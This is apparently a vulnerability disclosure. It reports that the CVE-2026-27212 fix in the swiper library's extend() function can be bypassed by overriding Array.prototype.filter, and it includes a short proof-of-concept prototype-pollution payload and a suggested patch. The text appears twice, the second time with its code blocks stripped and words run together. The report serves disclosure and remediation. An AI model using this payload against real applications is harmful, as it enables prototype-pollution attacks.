While investigating the impact of CVE-2026-27212 on my project, I discovered that the fix for CVE-2026-27212 is likely incomplete.
Summary
The fix for CVE-2026-27212 (commit d3e6633) replaced Array.prototype.indexOf with strict equality operators (!==) to prevent prototype pollution bypass. However, the filtering logic still relies on Array.prototype.filter, which is equally overridable. By overriding Array.prototype.filter instead of Array.prototype.indexOf, an attacker can bypass the CVE-2026-27212 fix and achieve prototype pollution on all versions up to and including the latest release (12.1.4).
Details
CVE-2026-27212 identified that the extend() function in src/shared/utils.mjs was vulnerable to prototype pollution. The original mitigation used an array-based blocklist:
// Vulnerable code (pre-12.1.2)
const noExtend = ['__proto__', 'constructor', 'prototype'];
const keysArray = Object.keys(Object(nextSource)).filter(
(key) => noExtend.indexOf(key) < 0
);
The CVE demonstrated that overriding Array.prototype.indexOf = () => -1 caused the blocklist check to always pass, allowing __proto__ through. The fix in 12.1.2 replaced indexOf with direct string comparisons:
// Current code (12.1.2+, including 12.1.4) — shared/utils.mjs line 93
const keysArray = Object.keys(Object(nextSource)).filter(
key => key !== '__proto__' && key !== 'constructor' && key !== 'prototype'
);
The Incomplete Fix
While the !== operators themselves are language-level and cannot be overridden, the Array.prototype.filter method that invokes the callback is equally overridable as the indexOf that was patched. This is the same class of vulnerability — relying on a prototype method for security-critical filtering.
If Array.prototype.filter is overridden to return the input array without executing the callback:
Array.prototype.filter = function() { return this; };
Then the !== checks inside the callback are never executed, and __proto__ passes through unfiltered, resulting in prototype pollution.
Root Cause
The root cause is the same as CVE-2026-27212: the security-critical key filtering depends on an overridable prototype method. The fix addressed the specific method (indexOf) but not the underlying pattern. The execution chain has three components:
| Component |
Type |
Overridable? |
Object.keys() |
Static method on Object |
Yes, but requires direct property assignment — not via prototype pollution |
.filter() |
Array.prototype.filter |
Yes — same mechanism as the original indexOf bypass |
key !== '__proto__' |
!== operator |
No — language built-in, cannot be overridden |
Proof of Concept
This PoC demonstrates the bypass on swiper@12.1.4. It is intentionally minimal and non-destructive — it only sets a benign polluted property and cleans up afterward.
// PoC: filter bypass on swiper >= 12.1.2 (tested on 12.1.4)
// Run: npm install swiper@12.1.4 && node poc.js
const swiper = require('swiper');
// Step 1: Verify no pollution exists
console.log('Before:', {}.polluted); // undefined
// Step 2: Override Array.prototype.filter (same pattern as CVE-2026-27212's indexOf override)
const originalFilter = Array.prototype.filter;
Array.prototype.filter = function () { return this; };
// Step 3: Trigger extend() with a crafted payload
swiper.default.extendDefaults(JSON.parse('{"__proto__":{"polluted":"yes"}}'));
// Step 4: Check if pollution occurred
console.log('After:', {}.polluted); // "yes" — prototype pollution successful
// Step 5: Cleanup
Array.prototype.filter = originalFilter;
delete Object.prototype.polluted;
Suggested Fix
Replace the Array.prototype.filter call with an inline loop using only language operators for the key check. This eliminates all overridable prototype method dependencies from the filtering logic:
--- a/src/shared/utils.mjs
+++ b/src/shared/utils.mjs
@@ -88,9 +88,12 @@ function extend(...args) {
const to = Object(args[0]);
for (let i = 1; i < args.length; i += 1) {
const nextSource = args[i];
if (nextSource !== undefined && nextSource !== null && !isNode(nextSource)) {
- const keysArray = Object.keys(Object(nextSource)).filter(
- key => key !== '__proto__' && key !== 'constructor' && key !== 'prototype'
- );
- for (let nextIndex = 0, len = keysArray.length; nextIndex < len; nextIndex += 1) {
- const nextKey = keysArray[nextIndex];
+ const allKeys = Object.keys(Object(nextSource));
+ for (let nextIndex = 0, len = allKeys.length; nextIndex < len; nextIndex += 1) {
+ const nextKey = allKeys[nextIndex];
+ if (nextKey === '__proto__' || nextKey === 'constructor' || nextKey === 'prototype') {
+ continue;
+ }
const desc = Object.getOwnPropertyDescriptor(nextSource, nextKey);
While investigating the impact of CVE-2026-27212 on my project, I discovered that the fix for CVE-2026-27212 is likely incomplete.
Summary
The fix for CVE-2026-27212 (commit d3e6633) replaced
Array.prototype.indexOfwith strict equality operators (!==) to prevent prototype pollution bypass. However, the filtering logic still relies onArray.prototype.filter, which is equally overridable. By overridingArray.prototype.filterinstead ofArray.prototype.indexOf, an attacker can bypass the CVE-2026-27212 fix and achieve prototype pollution on all versions up to and including the latest release (12.1.4).Details
Background: CVE-2026-27212 and Its Fix
CVE-2026-27212 identified that the
extend()function insrc/shared/utils.mjswas vulnerable to prototype pollution. The original mitigation used an array-based blocklist:The CVE demonstrated that overriding
Array.prototype.indexOf = () => -1caused the blocklist check to always pass, allowing__proto__through. The fix in 12.1.2 replacedindexOfwith direct string comparisons:The Incomplete Fix
While the
!==operators themselves are language-level and cannot be overridden, theArray.prototype.filtermethod that invokes the callback is equally overridable as theindexOfthat was patched. This is the same class of vulnerability — relying on a prototype method for security-critical filtering.If
Array.prototype.filteris overridden to return the input array without executing the callback:Then the
!==checks inside the callback are never executed, and__proto__passes through unfiltered, resulting in prototype pollution.Root Cause
The root cause is the same as CVE-2026-27212: the security-critical key filtering depends on an overridable prototype method. The fix addressed the specific method (
indexOf) but not the underlying pattern. The execution chain has three components:Object.keys()Object.filter()Array.prototype.filterindexOfbypasskey !== '__proto__'!==operatorProof of Concept
This PoC demonstrates the bypass on swiper@12.1.4. It is intentionally minimal and non-destructive — it only sets a benign
pollutedproperty and cleans up afterward.Suggested Fix
Replace the
Array.prototype.filtercall with an inline loop using only language operators for the key check. This eliminates all overridable prototype method dependencies from the filtering logic: